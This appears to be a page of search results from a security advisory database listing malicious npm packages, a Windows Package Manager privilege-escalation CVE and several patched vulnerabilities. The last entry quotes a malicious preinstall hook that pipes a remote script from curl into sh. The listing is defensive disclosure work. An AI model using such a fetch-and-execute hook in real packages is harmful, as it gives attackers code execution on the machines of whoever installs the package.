143349 matches found
MAL-2026-13842 Malicious code in vlbhvgovbbhfab (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d5b717c270d7c4f965a421923d78bff7a86b044999f557386a258c7050768620 Package [email protected] contains 2 files. No install-time lifecycle scripts, exfiltration primitives, hardcoded network destinations,...
CVE-2026-68821
Improper privilege management in Windows Package Manager allows an authorized attacker to elevate privileges locally...
CVE-2026-68821
Improper privilege management in Windows Package Manager allows an authorized attacker to elevate privileges locally...
EUVD-2026-56469
Improper privilege management in Windows Package Manager allows an authorized attacker to elevate privileges locally...
CVE-2026-68821
The CVE-2026-68821 entry concerns Windows Package Manager with an issue in privilege management that allows an authorized local attacker to elevate privileges. Affected software is Windows Package Manager; the underlying cause is improper privilege handling, enabling local privilege escalation wi...
CVE-2026-68821 Windows Package Manager Elevation of Privilege Vulnerability
...
CVE-2026-68821 Windows Package Manager Elevation of Privilege Vulnerability
...
Windows Package Manager Elevation of Privilege Vulnerability
Improper privilege management in Windows Package Manager allows an authorized attacker to elevate privileges locally...
ROOT-APP-NPM-CVE-2022-23529 CVE-2022-23529 in jsonwebtoken - Patched by Root
Root has patched CVE-2022-23529 in the jsonwebtoken package for Root:npm. Multiple fixed versions available...
PT-2026-70738
Name of the Vulnerable Software and Affected Versions Windows Package Manager affected versions not specified Description Improper privilege management allows an authorized attacker to elevate privileges locally. Recommendations At the moment, there is no information about a newer version that...
ROOT-APP-NPM-CVE-2026-48816 CVE-2026-48816 in @sigstore/verify - Patched by Root
Root has patched CVE-2026-48816 in the @sigstore/verify package for Root:npm. Multiple fixed versions available...
MAL-2026-13669 Malicious code in specials-resources-server (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 07bd295669162565e4b75a82a674ae4ee555bd6e5bd1fab67de3093de939ea30 [email protected] is a staged remote-code-execution dropper disguised as an 'Analytics SDK'. Both the package main lib/telemetry.js an...
Malicious code in specials-resources-server (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 07bd295669162565e4b75a82a674ae4ee555bd6e5bd1fab67de3093de939ea30 [email protected] is a staged remote-code-execution dropper disguised as an 'Analytics SDK'. Both the package main lib/telemetry.js an...
EulerOS 2.0 SP11 : python-pip (EulerOS-SA-2026-3148)
According to the versions of the python-pip packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : pip would treat consolescripts and guiscripts as paths instead of file names without sanitizing the resolved absolute path to the installation...
EUVD-2026-44768
jsii-diff: Command Injection via npm: package argument...
Malicious code in svelte-cache-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...
MAL-2026-13676 Malicious code in svelte-cache-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1453b15dc9dc17e87c7dd53ab81d2e1c5988a6a3436d37e90500acd83dacdd22 No a static rule matches and no traced install-time or import-time behavior of concern were identified in this package version. No credential access,...
ROOT-APP-NPM-CVE-2023-26144 CVE-2023-26144 in graphql - Patched by Root
Root has patched CVE-2023-26144 in the graphql package for Root:npm. Multiple fixed versions available...
pip absolute path traversal during download from malicious package indexes
...
Malicious code in internallib_v514 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...